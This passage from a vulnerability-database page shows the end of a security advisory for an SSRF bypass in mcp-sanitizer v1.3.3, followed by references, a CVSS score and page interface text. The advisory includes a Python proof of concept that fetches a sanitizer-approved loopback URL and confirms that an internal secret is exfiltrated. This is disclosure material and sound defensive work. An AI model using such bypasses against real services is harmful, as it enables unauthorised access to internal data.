\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nssrf_confirmed = False\nssrf_evidence = None\nssrf_url = \"http://localhost:8080/\"\n\nif ssrf_url in bypass_urls:\n print(f\"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...\")\n try:\n resp = urllib.request.urlopen(ssrf_url, timeout=5)\n body = resp.read().decode().strip()\n print(f\"[*] HTTP response status: {resp.status}\")\n print(f\"[*] HTTP response body:\\n {body.replace(chr(10), chr(10) + \u0027 \u0027)}\")\n if INTERNAL_SECRET in body:\n ssrf_confirmed = True\n ssrf_evidence = body\n print(f\"\\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}\")\n except Exception as exc:\n print(f\"[ERROR] HTTP request failed: {exc}\")\nelse:\n print(f\"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step\")\n\ninternal_server.shutdown()\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 5: Final verdict\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(\"VERDICT\")\nprint(f\"{\u0027=\u0027*65}\")\nprint(f\" Bypass URLs confirmed by sanitizer: {len(bypass_urls)}\")\nprint(f\" Bypassed URLs: {bypass_urls}\")\nprint(f\" Actual SSRF HTTP request succeeded: {ssrf_confirmed}\")\nprint(f\" Exfiltrated secret matches: {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or \u0027\u0027)}\")\n\nif ssrf_confirmed and len(bypass_urls) \u003e= 2:\n print(\"\\n RESULT: PASS - SSRF bypass fully demonstrated end-to-end\")\n print(\" - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080\")\n print(f\" - Actual HTTP GET to internal service returned: {ssrf_evidence!r}\")\n sys.exit(0)\nelif len(bypass_urls) \u003e= 2:\n print(\"\\n RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed\")\n print(f\" - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}\")\n sys.exit(1)\nelse:\n print(\"\\n RESULT: FAIL - expected at least 2 bypass URLs\")\n sys.exit(1)\n```",
"id": "GHSA-4mfg-r38w-w8fg",
"modified": "2026-10-28T19:51:40Z",
"published": "2026-10-28T19:51:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/starman69/mcp-sanitizer/security/advisories/GHSA-4mfg-r38w-w8fg"
},
{
"type": "WEB",
"url": "https://github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09"
},
{
"type": "PACKAGE",
"url": "https://github.com/starman69/mcp-sanitizer"
},
{
"type": "WEB",
"url": "https://github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.